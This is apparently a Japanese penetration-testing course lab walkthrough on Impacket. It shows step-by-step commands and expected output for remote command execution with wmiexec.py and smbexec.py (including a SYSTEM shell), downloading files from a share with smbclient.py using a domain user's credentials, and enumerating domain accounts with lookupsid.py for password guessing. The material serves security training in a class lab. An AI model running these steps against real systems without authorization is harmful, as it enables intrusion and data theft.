Skip to content

Lab 4.3: Impacket

オンライン演習

接続性: この演習では、クラス内ネットワーク(560A VPN 経由)に接続している必要があります

目的

  • Impacket モジュール(wmiexec.py、smbexec.py、smbclient.py、lookupsid.py)に慣れる
  • さまざまな認証方法で Impacket を使用する
  • Impacket を使用してリモートシステムと効果的に対話する

ウォークスルー動画

ラボのセットアップ

使用する VM:

  • Linux
  • Windows 11

Linux VM から 10.130.10.10 に ping できるはずです:

コマンド

ping -c 4 10.130.10.10

想定される結果

sec560@560vm:~$ ping -c 4 10.130.10.10
PING 10.130.10.10 (10.130.10.10) 56(84) bytes of data.
64 bytes from 10.130.10.10: icmp_seq=1 ttl=63 time=59.2 ms
64 bytes from 10.130.10.10: icmp_seq=2 ttl=63 time=47.4 ms
64 bytes from 10.130.10.10: icmp_seq=3 ttl=63 time=49.7 ms
64 bytes from 10.130.10.10: icmp_seq=4 ttl=63 time=45.5 ms

--- 10.130.10.10 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3007ms
rtt min/avg/max/mdev = 45.505/50.470/59.234/5.274 ms

ラボ – ステップバイステップの手順

Impacket は、多数の Windows サービスと対話できる非常に強力なツールセットです。素晴らしいことに、すべてのコードが利用可能なので、ツールを使用して、それを基に他のツールを作成できます!

Impacket のいくつかの機能を見ていきましょう。

1: wmiexec.py

このツールを使用すると、リモートサービスでコマンドを実行できます。ターゲットに対する管理者レベルのアクセス権が必要です。最大の欠点は、DCOM を使用するため、ターゲットシステム上の DCOM ポートにアクセスできる必要があることですが、ファイアウォールによってブロックされることがあり、その場合は smbclient.py(後述)などの別のツールを使用する必要があります。

コマンドの構文は次のとおりです:

wmiexec.py [[domain/]username[:password]@]<targetName or address> command

最低限、ユーザー名、ターゲット、およびコマンドを指定する必要があります。

wmiexec.py username@target command

Windows VM をターゲットにしてみましょう。

コマンド

wmiexec.py sec560@WINDOWS_ETHERNET0_ADDRESS hostname

プロンプトが表示されたら、パスワード sec560 を入力してください。

想定される結果

sec560@560vm:~$ wmiexec.py sec560:sec560@10.10.10.154 hostname
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

Password:
[*] SMBv3.0 dialect used
SEC560-Windows

WINDOWS_ETHERNET0_ADDRESS を置き換えてください!

WINDOWS_ETHERNET0_ADDRESS を Windows VM のローカルアドレス(10.254.25X.X のようなアドレスではありません)に置き換えてください。

Windows の組み込みプロトコルを使用して、リモートシステムでコマンドを実行できます。さらに良いことに、そのシステムにエージェントは必要ありません!

コマンドの再利用で時間を節約!

上矢印キーを押すと、前のコマンドに戻ることができます。これにより、最初から入力する代わりにコマンドを編集できます。

whoami で誰として認証しているかを確認しましょう。上矢印キーを押して、hostnamewhoami に置き換えてください。

コマンド

wmiexec.py sec560@WINDOWS_ETHERNET0_ADDRESS whoami

プロンプトが表示されたら、パスワード sec560 を入力してください。

想定される結果

sec560@560vm:~$ wmiexec.py sec560:sec560@10.10.10.154 whoami
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

Password:
[*] SMBv3.0 dialect used
sec560-windows\sec560

WINDOWS_ETHERNET0_ADDRESS を置き換えてください!

WINDOWS_ETHERNET0_ADDRESS を Windows VM のローカルアドレス(10.254.25X.X のようなアドレスではありません)に置き換えてください。

コマンドはコンピューター名(sec560-windows)に続いてユーザー名(sec560)を返します。

この時点で、毎回パスワードを入力しなければならないことにうんざりしていることでしょう。これを簡単にして、ユーザー名の直後に :password(パスワードは sec560)を入力しましょう。

コマンド

wmiexec.py sec560:sec560@WINDOWS_ETHERNET0_ADDRESS whoami

想定される結果

sec560@560vm:~$ wmiexec.py sec560:sec560@10.10.10.154 whoami
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] SMBv3.0 dialect used
sec560-windows\sec560

WINDOWS_ETHERNET0_ADDRESS を置き換えてください!

WINDOWS_ETHERNET0_ADDRESS を Windows VM のローカルアドレス(10.254.25X.X のようなアドレスではありません)に置き換えてください。

この方法で実行すると、各コマンドは他のコマンドから独立しています。これを確認してみましょう。

まず、cd を実行して、現在のディレクトリの場所を確認しましょう。

コマンド

wmiexec.py sec560:sec560@WINDOWS_ETHERNET0_ADDRESS cd

想定される結果

sec560@560vm:~$ wmiexec.py sec560:sec560@10.10.10.154 cd
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] SMBv3.0 dialect used
C:\

WINDOWS_ETHERNET0_ADDRESS を置き換えてください!

WINDOWS_ETHERNET0_ADDRESS を Windows VM のローカルアドレス(10.254.25X.X のようなアドレスではありません)に置き換えてください。

Windows の cmd.exe では、cd(引数なし)コマンドは現在のディレクトリを表示します(Linux の pwd に似ています)。

次に、ディレクトリを Users に変更しましょう。

コマンド

wmiexec.py sec560:sec560@WINDOWS_ETHERNET0_ADDRESS cd users
wmiexec.py sec560:sec560@WINDOWS_ETHERNET0_ADDRESS cd

このコマンドには出力がありません。

想定される結果

sec560@560vm:~$ wmiexec.py sec560:sec560@10.10.10.154 cd users
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] SMBv3.0 dialect used
sec560@560vm:~$ wmiexec.py sec560:sec560@10.10.10.154 cd 
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] SMBv3.0 dialect used
C:\

WINDOWS_ETHERNET0_ADDRESS を置き換えてください!

WINDOWS_ETHERNET0_ADDRESS を Windows VM のローカルアドレス(10.254.25X.X のようなアドレスではありません)に置き換えてください。

Users ディレクトリに変更したことが記憶されていないことに注意してください。ファイルへのフルパスを使用することで回避できますが、これには多くの追加入力が必要になる可能性があります。場所を記憶する対話モードでツールを実行しましょう!

ツールを再度実行しますが、最後にコマンドを付けません。これにより、対話セッションが開始されます。

コマンド

wmiexec.py sec560:sec560@WINDOWS_ETHERNET0_ADDRESS

想定される結果

sec560@560vm:~$ wmiexec.py sec560:sec560@10.10.10.154 
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>

WINDOWS_ETHERNET0_ADDRESS を置き換えてください!

WINDOWS_ETHERNET0_ADDRESS を Windows VM のローカルアドレス(10.254.25X.X のようなアドレスではありません)に置き換えてください。

対話型プロンプトが表示されました!いくつかのコマンドを試して、何が起こるか見てみましょう。

コマンド

cd users
whoami
cd

想定される結果

C:\>cd users
C:\Users>whoami
sec560-windows\sec560

C:\Users>cd
C:\Users

途中で別のコマンドを実行した後でも、ツールが場所を記憶していることに注意してください!

シェルを終了しましょう。

コマンド

exit

別のツール、smbexec.py を見てみましょう。

2: smbexec.py

このツールは wmiexec と同様に機能します。ツールの実行方法に応じて、2 つのモードで動作できます。ドキュメントによると:

  • share mode: 共有を指定すると、すべてがその共有を通じて実行されます。
  • server mode: 何らかの理由で使用可能な共有がない場合、このスクリプトはローカル SMB サーバーを起動し、実行されたコマンドの出力がターゲットマシンからローカルの共有フォルダーに送り返されます。ローカルマシンのポート 445 にバインドするには root アクセスが必要であることに注意してください。

「share mode」では、ツールはターゲットシステムのディスクに書き込みます。これは追加のアーティファクトを残すため、ディスクへの書き込みを避けたい場合がよくあります。「server mode」では、すべての書き込みは攻撃者のシステム上の共有に対して行われ、リモートシステムが攻撃システムに接続します。サーバーはポート 445 で実行され、そのポートでリッスンするには root アクセスが必要です。ツールを root として server mode で実行します。

これらの Impacket ツールの構文は似ています。上矢印キーを押し、CTRL+a を押して行の先頭にジャンプし、wmismb に置き換えるだけです。

コマンド

sudo smbexec.py sec560:sec560@WINDOWS_ETHERNET0_ADDRESS

想定される結果

sec560@560vm:~$ sudo smbexec.py sec560:sec560@10.10.10.154
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[!] Launching semi-interactive shell - Careful what you execute
C:\Windows\System32>

WINDOWS_ETHERNET0_ADDRESS を置き換えてください!

WINDOWS_ETHERNET0_ADDRESS を Windows VM のローカルアドレス(10.254.25X.X のようなアドレスではありません)に置き換えてください。

これは以前のツールと非常に似ています。whoami コマンドを見てみましょう。

コマンド

whoami

想定される結果

C:\Windows\System32> whoami
nt authority\system

system として実行されていることに注意してください。これが望ましい場合もあれば、そうでない場合もあります。スーパー権限(system)が必要か、通常のユーザーまたはドメインユーザーとしてアクセスする必要があるか(他のリソースにアクセスするため)によって異なります。

ディレクトリを変更してみましょう。

コマンド

cd users

想定される結果

C:\WINDOWS\system32> cd users
[-] You can't CD under SMBEXEC. Use full paths.

このシェルは永続的でないことに注意してください。ディレクトリを変更できないため、常にフルパスを使用してナビゲートする必要があります。それがどのようなものか見てみましょう。

コマンド

dir \users

想定される結果

C:\Windows\System32>dir C:\Users
Volume in drive C is Windows
Volume Serial Number is 2640-3053

Directory of C:\Users

08/17/2024  04:39 PM    <DIR>          .
08/17/2024  04:35 PM    <DIR>          Public
08/21/2024  01:49 PM    <DIR>          sec560
            0 File(s)              0 bytes
            3 Dir(s)  53,043,986,432 bytes free

出力は異なる場合があります

Windows VM で使用したアカウントによって、出力が異なる場合があります。

Users の下にある sec560 ディレクトリを見たい場合は、次のようにフルパスを使用する必要があります:

コマンド

dir C:\users\sec560

想定される結果

C:\Windows\System32>dir C:\users\sec560
Volume in drive C is Windows
Volume Serial Number is 2640-3053

Directory of C:\users\sec560

08/21/2024  01:49 PM    <DIR>          .
08/17/2024  04:39 PM    <DIR>          ..
08/17/2024  04:58 PM    <DIR>          .local
08/17/2024  05:00 PM    <DIR>          .ssh
08/17/2024  05:01 PM    <DIR>          .vscode
08/17/2024  04:35 PM    <DIR>          Contacts
[...trimmed  for brevity...]
            3 File(s)          3,688 bytes
            18 Dir(s)  53,043,982,336 bytes free

別のレベルに移動したい場合は、再びフルパスを使用する必要があります。幸いなことに、上矢印キーを押して前のコマンドにアクセスし、最後に \Desktop を追加するだけです。

上矢印キーを押して、コマンドの最後に \Desktop を追加してください。

コマンド

dir \users\sec560\Desktop

想定される結果

C:\Windows\System32>dir C:\users\sec560\Desktop
Volume in drive C is Windows
Volume Serial Number is 2640-3053

Directory of C:\users\sec560\Desktop

08/21/2024  12:56 PM    <DIR>          .
08/21/2024  01:49 PM    <DIR>          ..
08/17/2024  04:57 PM             1,125 Icecast2 Win32.lnk
08/21/2024  12:56 PM             2,235 Nmap - Zenmap GUI.lnk
            2 File(s)          3,360 bytes
            2 Dir(s)  53,044,019,200 bytes free

smbexec.py と wmiexec.py のどちらを選択するかは、リモートシステムで利用可能なものと個人的な好みによって決まります。

exit と入力してリモートコンソールセッションを閉じてください。次に、別のツール smbclient.py を見てみましょう。

3: smbclient.py

これは smbexec.py とは異なります。これは、共有をナビゲートし、システム間でファイルを移動するために使用されるクライアントです。10.130.10.44 のファイルサーバーに接続しましょう。今回は、クラスで以前に発見したドメインユーザーとパスワードを使用します。これはドメインユーザーなので、ユーザー名を domain/username としてフォーマットする必要があります。コマンドラインでパスワードを使用することもできます。

bgreen を使用してファイルサーバーとの smbclient.py 接続を開始します。

コマンド

smbclient.py hiboxy/bgreen:Password1@10.130.10.44

想定される結果

sec560@560vm:~$ smbclient.py hiboxy/bgreen:Password1@10.130.10.44
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

Type help for list of commands
# 

対話型クライアントが起動しました。このツールは Linux の smbclient コマンドと同様に機能します。

まず、help を実行してヘルプを見てみましょう。

コマンド

help

想定される結果

# help

open {host,port=445} - opens a SMB connection against the target host/port
login {domain/username,passwd} - logs into the current SMB connection, no parameters for NULL connection. If no password specified, it'll be prompted
kerberos_login {domain/username,passwd} - logs into the current SMB connection using Kerberos. If no password specified, it'll be prompted. Use the DNS resolvable domain name
login_hash {domain/username,lmhash:nthash} - logs into the current SMB connection using the password hashes
logoff - logs off
shares - list available shares
use {sharename} - connect to an specific share
cd {path} - changes the current directory to {path}
lcd {path} - changes the current local directory to {path}
pwd - shows current remote directory
password - changes the user password, the new password will be prompted for input
ls {wildcard} - lists all the files in the current directory
lls {dirname} - lists all the files on the local filesystem.
tree {filepath} - recursively lists all files in folder and sub folders
rm {file} - removes the selected file
mkdir {dirname} - creates the directory under the current path
rmdir {dirname} - removes the directory under the current path
put {filename} - uploads the filename into the current path
get {filename} - downloads the filename from the current path
mget {mask} - downloads all files from the current directory matching the provided mask
cat {filename} - reads the filename from the current path
mount {target,path} - creates a mount point from {path} to {target} (admin required)
umount {path} - removes the mount point at {path} without deleting the directory (admin required)
list_snapshots {path} - lists the vss snapshots for the specified path
info - returns NetrServerInfo main results
who - returns the sessions currently connected at the target host (admin required)
close - closes the current SMB Session
exit - terminates the server process (and this session)

最もよく使用されるオプションのいくつかを見てみましょう。

  • shares - 利用可能な共有をリストします
  • use {sharename} - 特定の共有に接続します
  • cd {path} - 現在のリモートディレクトリを {path} に変更します
  • lcd {path} - 現在のローカルディレクトリを {path} に変更します
  • pwd - 現在のリモートディレクトリを表示します
  • ls {wildcard} - 現在のリモートディレクトリ内のすべてのファイルをリストします
  • put {filename} - ファイル名を現在のパスにアップロードします
  • get {filename} - 現在のパスからファイル名をダウンロードします
  • cat {filename} - 現在のパスからファイル名を読み取ります
  • close - 現在の SMB セッションを閉じます

システムを見てみましょう。shares コマンドを実行してください。

コマンド

shares

想定される結果

# shares
ADMIN$
C$
FileShare
IPC$
Users$

$ で終わる共有は隠し共有です。さらに、ADMIN$C$IPC$ はデフォルトの共有です。通常、管理者のみがアクセスできます。use コマンドで FileShare 共有を見てみましょう。

コマンド

use FileShare

このコマンドには出力がありません。

ls でこの共有上のファイルを調べてください。

コマンド

ls

想定される結果

# ls
drw-rw-rw-          0  Tue Aug 13 08:15:14 2024 .
drw-rw-rw-          0  Tue Aug 13 08:17:12 2024 ..
drw-rw-rw-          0  Tue Aug 13 08:15:14 2024 finance
drw-rw-rw-          0  Tue Aug 13 08:15:14 2024 people
drw-rw-rw-          0  Tue Aug 13 08:15:15 2024 sales

sales/FY-2019/client_0000022 ディレクトリに移動して、ディレクトリの内容を確認してください。

コマンド

cd sales/FY-2019/client_0000022
ls

想定される結果

# cd sales/FY-2019/client_0000022
# ls
drw-rw-rw-          0  Tue Aug 13 08:15:14 2024 .
drw-rw-rw-          0  Tue Aug 13 08:15:14 2024 ..
-rw-rw-rw-      23124  Tue Aug 13 08:15:09 2024 contract_000631.xlsx
-rw-rw-rw-      53273  Tue Aug 13 08:15:09 2024 nda.docx
-rw-rw-rw-     120629  Tue Aug 13 08:15:09 2024 sow_000002.docx
-rw-rw-rw-     120629  Tue Aug 13 08:15:09 2024 sow_000043.docx
-rw-rw-rw-     120629  Tue Aug 13 08:15:09 2024 sow_000081.docx
-rw-rw-rw-     120629  Tue Aug 13 08:15:09 2024 sow_000315.docx

get でファイルをダウンロードできます。

nda.docx をダウンロードしてください。

コマンド

get nda.docx

このコマンドには出力がありません

共有を終了して、ファイルがダウンロードされたことを確認できます。

コマンド

exit
ls -l nda.docx

想定される結果

# exit
sec560@560vm:~$ ls -l nda.docx
-rw-rw-r-- 1 sec560 sec560 53273 Aug 21 22:07 nda.docx

もう 1 つのツール、lookupsid.py を見てみましょう。

4: lookupsid.py

lookupsid.py コマンドは、ドメイン内のすべてのユーザーを列挙します。最近は null/匿名バインドが非常にまれであるため、ドメインユーザーを指定する必要があります。この場合、ターゲットはドメインコントローラーになります。

コマンド

lookupsid.py hiboxy/bgreen:Password1@10.130.10.4

想定される結果

sec560@560vm:~$ lookupsid.py hiboxy/bgreen:Password1@10.130.10.4
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Brute forcing SIDs at 10.130.10.4
[*] StringBinding ncacn_np:10.130.10.4[\pipe\lsarpc]
[*] Domain SID is: S-1-5-21-4148103352-2461449634-48610133
498: HIBOXY\Enterprise Read-only Domain Controllers (SidTypeGroup)
500: HIBOXY\Administrator (SidTypeUser)
501: HIBOXY\Guest (SidTypeUser)
502: HIBOXY\krbtgt (SidTypeUser)
512: HIBOXY\Domain Admins (SidTypeGroup)
513: HIBOXY\Domain Users (SidTypeGroup)
514: HIBOXY\Domain Guests (SidTypeGroup)
515: HIBOXY\Domain Computers (SidTypeGroup)
516: HIBOXY\Domain Controllers (SidTypeGroup)
517: HIBOXY\Cert Publishers (SidTypeAlias)
518: HIBOXY\Schema Admins (SidTypeGroup)
519: HIBOXY\Enterprise Admins (SidTypeGroup)
520: HIBOXY\Group Policy Creator Owners (SidTypeGroup)
...truncate for brevity...

ここには多くの出力が表示されます。リストには、ドメイン内のすべてのユーザー(SidTypeUser)とグループ(SidTypeGroup)が含まれています。

これは長いリストです。短いリストのみが必要な場合は、停止する前に RID を指定できます。コマンドを再度実行しますが、最後に 520 を追加してください。

コマンド

lookupsid.py hiboxy/bgreen:Password1@10.130.10.4 520

想定される結果

sec560@560vm:~$ lookupsid.py hiboxy/bgreen:Password1@10.130.10.4 520
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Brute forcing SIDs at 10.130.10.4
[*] StringBinding ncacn_np:10.130.10.4[\pipe\lsarpc]
[*] Domain SID is: S-1-5-21-4148103352-2461449634-48610133
498: HIBOXY\Enterprise Read-only Domain Controllers (SidTypeGroup)
500: HIBOXY\Administrator (SidTypeUser)
501: HIBOXY\Guest (SidTypeUser)
502: HIBOXY\krbtgt (SidTypeUser)
512: HIBOXY\Domain Admins (SidTypeGroup)
513: HIBOXY\Domain Users (SidTypeGroup)
514: HIBOXY\Domain Guests (SidTypeGroup)
515: HIBOXY\Domain Computers (SidTypeGroup)
516: HIBOXY\Domain Controllers (SidTypeGroup)
517: HIBOXY\Cert Publishers (SidTypeAlias)
518: HIBOXY\Schema Admins (SidTypeGroup)
519: HIBOXY\Enterprise Admins (SidTypeGroup)

これは、パスワード推測のためにドメイン内のユーザーのリストを取得するための優れたツールです!

まとめ

ご覧のとおり、Impacket ツールセットは多くの機能を提供します。4 つのツールのみを取り上げましたが、他にも多数あります!さらに多くのツールの説明については、こちらをご覧ください。

このコース全体で、これらおよび他のいくつかの Impacket ツールを使用します。